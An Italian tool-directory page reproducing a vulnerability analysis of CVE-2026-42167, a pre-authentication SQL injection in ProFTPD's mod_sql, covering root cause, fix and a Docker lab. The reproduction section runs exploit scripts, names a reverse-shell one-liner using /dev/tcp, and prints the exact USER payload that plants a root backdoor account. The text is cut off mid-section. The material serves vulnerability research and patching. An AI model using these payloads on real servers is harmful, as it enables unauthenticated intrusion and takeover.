Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
proftpd-CVE-2026-42167-analysis — Analisi indipendente della riproduzione, analisi della causa principale a livello di codice e report di esposizione realistica per CVE-2026-42167 (bypass di is_escaped_text() in mod_sql di ProFTPD). | Kitploit
Strumenti/GitHubGitHub/dinosn/proftpd-cve-2026-42167-analysis
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingPaper e RicercaApprendimento e Formazione
GitHubdinosn/proftpd-cve-2026-42167-analysis

proftpd-CVE-2026-42167-analysis

Analisi indipendente della riproduzione, analisi della causa principale a livello di codice e report di esposizione realistica per CVE-2026-42167 (bypass di is_escaped_text() in mod_sql di ProFTPD).

Vedi Repository
31105 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-42167 — ProFTPD mod_sql SQL Injection / Auth Bypass / RCE

Riproduzione indipendente, analisi dettagliata della causa radice a livello di codice e una franca analisi dell'esposizione per CVE-2026-42167 — il bypass di is_escaped_text() nel pipeline di logging mod_sql di ProFTPD, divulgato da ZeroPath Research e corretto in ProFTPD 1.3.9a / 1.3.10rc1.

Costruito e verificato end-to-end in Docker su macOS / Apple Silicon, 2026-04-29.

TL;DR — vedi Bottom line per il quadro realistico dell'esposizione prima di decidere quanto preoccuparti. Questo non è un bug presente nell'installazione predefinita, ma il pattern di quoting pericoloso è il pattern che la documentazione upstream ti dice di usare, quindi una grande frazione delle distribuzioni mod_sql lo eredita.

CampoValore
CVECVE-2026-42167
CWECWE-89 (SQL Injection), CWE-78 (OS Command Injection — via PG COPY TO PROGRAM)
AffettiProFTPD ≤ 1.3.9 con mod_sql + SQLLog/SQLNamedQuery la cui stringa di formato interpola una variabile controllata dall'attaccante tra virgolette singole
Corretto in1.3.9a (af90843ba…) / 1.3.10rc1, vedi commit e6f728481 ("Issue #2052")
Commit vulnerabile fissatoae25959adb05ae1d6ebfa1f36bf778c9c34e9410
File vulnerabilecontrib/mod_sql.c righe 741–758 (is_escaped_text) e riga 777 (sql_resolved_append_text)
Divulgazione originalehttps://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce
PoC pubblicohttps://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc
Note di rilasciohttp://www.proftpd.org/docs/RELEASE_NOTES-1.3.10rc1

1. Causa radice — euristica is_escaped_text() in contrib/mod_sql.c

mod_sql risolve le variabili del formato di logging (%U, %{basename}, ecc.) e aggiunge ogni pezzo nella SQL renderizzata tramite sql_resolved_append_text(). Per preservare la compatibilità all'indietro con le configurazioni admin che già racchiudono le variabili in '…', la funzione chiama is_escaped_text() per decidere se sql_escapestring è necessario:```c /* contrib/mod_sql.c — vulnerable commit ae25959 */ 741 static int is_escaped_text(const char text, size_t text_len) { 742 register unsigned int i; 743 744 if (text[0] != ''') return FALSE; 745 if (text[text_len-1] != ''') return FALSE; 746 for (i = 1; i < text_len-1; i++) 747 if (text[i] == ''') return FALSE; 748 return TRUE; 749 } … 777 if (is_escaped_text(text, text_len) == FALSE) { … / …sql_escapestring()… */ 790 } else { 791 pr_trace_msg(trace_channel, 17, 792 "text '%s' is already escaped, skipping escaping it again", text); 793 new_text = (char *) text; 794 new_textlen = text_len; 795 }

Il controllo è puramente strutturale: non può distinguere *"già escapato da
codice fidato"* da *"creato da un attaccante per sembrare già escapato."*
Qualsiasi valore fornito dal client che corrisponda a `'<no-internal-quotes>'` salta
`sql_escapestring` e viene concatenato grezzo nella query finale.

La configurazione standard e documentata racchiude `%U` / `%{basename}` / `%m` tra virgolette singole:```
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog        ERR_*       log_activity

Quando l’attaccante invia USER '<payload>' (virgolette di apertura e chiusura, senza virgolette interne), il resolver sostituisce %U senza escape, producendo ''<payload>'' nel SQL — i literal di stringa vuota chiudono le virgolette circostanti e <payload> viene eseguito come SQL grezzo. Con PostgreSQL (PQexec) e SQLite (sqlite3_exec), le query impilate sono supportate, quindi <payload> può essere qualsiasi sequenza di istruzioni.

Poiché SQLLog ERR_* scatta sui login falliti e %U viene impostato da USER prima dell’autenticazione, l’attacco è completamente non autenticato.

La correzione (commit e6f728481, "Issue #2052")

sql_resolved_append_text() acquisisce un parametro already_escaped. I chiamanti che risolvono valori dall’input del client passano FALSE e ora passano attraverso sql_escapestring incondizionatamente — l’euristica is_escaped_text() è ancora applicata per il percorso legittimo "config con valore pre-escaped", ma non si applica più ai dati controllati dall’attaccante.


2. Ambiente di laboratorio```

+--------------------+ FTP 21 +-----------------------+ | attacker (host) | <--> 127.0.0.1:2121 | proftpd-poc-server | | python3 PoCs | | ProFTPD 1.3.9-pre | +--------------------+ | mod_sql_postgres | +-----------+-----------+ | libpq v +-----------------------+ | proftpd-poc-postgres | | PostgreSQL 15 | | role 'proftpd' = SU | +-----------------------+

- Entrambi i container vengono avviati tramite `setup/docker-compose.yml`.
- `setup/proftpd.conf` abilita la configurazione di logging vulnerabile (vedi §1).
- `setup/seed.sql` crea `users`, `groups`, `activity_log`, `xfer_log`,
  e `secrets`, oltre a un singolo utente FTP legittimo `ftpuser / ftppass`.

---

## 3. Riproduzione — copia e incolla

Prerequisiti: Docker Desktop, Python 3.10+, git. (`uv` è opzionale; i
PoC richiedono solo la libreria standard.)```bash
# 1) clone this repo
git clone https://github.com/dinosn/proftpd-CVE-2026-42167-analysis.git
cd proftpd-CVE-2026-42167-analysis/poc

# 2) build vulnerable proftpd + postgres in Docker
cd setup && ./setup.sh && cd ..
#   - clones proftpd source pinned to ae25959a (vulnerable)
#   - builds with --with-modules=mod_sql:mod_sql_postgres
#   - starts both containers, waits for healthchecks

# 3) reproduce — pre-auth backdoor user (uid=0, homedir=/)
python3 pocs/preauth_user_backdoor.py --host localhost --port 2121

# 4) inspect the planted account
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
  -c "SELECT userid,uid,gid,homedir,shell FROM users;"

# 5) reproduce — post-auth STOR backdoor
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
  -c "DELETE FROM users WHERE userid='backdoor';"
python3 pocs/postauth_stor_backdoor.py \
  --host localhost --port 2121 --user ftpuser --password ftppass

# 6) reproduce — pre-auth RCE proof (non-interactive, marker-file variant)
python3 pocs/preauth_rce_marker.py --host localhost --port 2121
docker exec proftpd-poc-postgres cat /tmp/cve-2026-42167-rce.txt

# 7) tear down
cd setup && ./teardown.sh

Le due varianti interattive nel repository upstream (preauth_user_rce.py, postauth_stor_rce.py) sono non modificate e aprono una reverse shell basata su PTY. Usano la stessa primitiva della variante marker — basta sostituire il comando shell con bash -i >& /dev/tcp/<host>/<port> 0>&1 e mettersi in ascolto su <port> per prima.


4. I payload, byte per byte

Backdoor pre-autenticazione (comando USER, %U)```

USER ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --' PASS x

Perché funziona:
Scarica lo strumento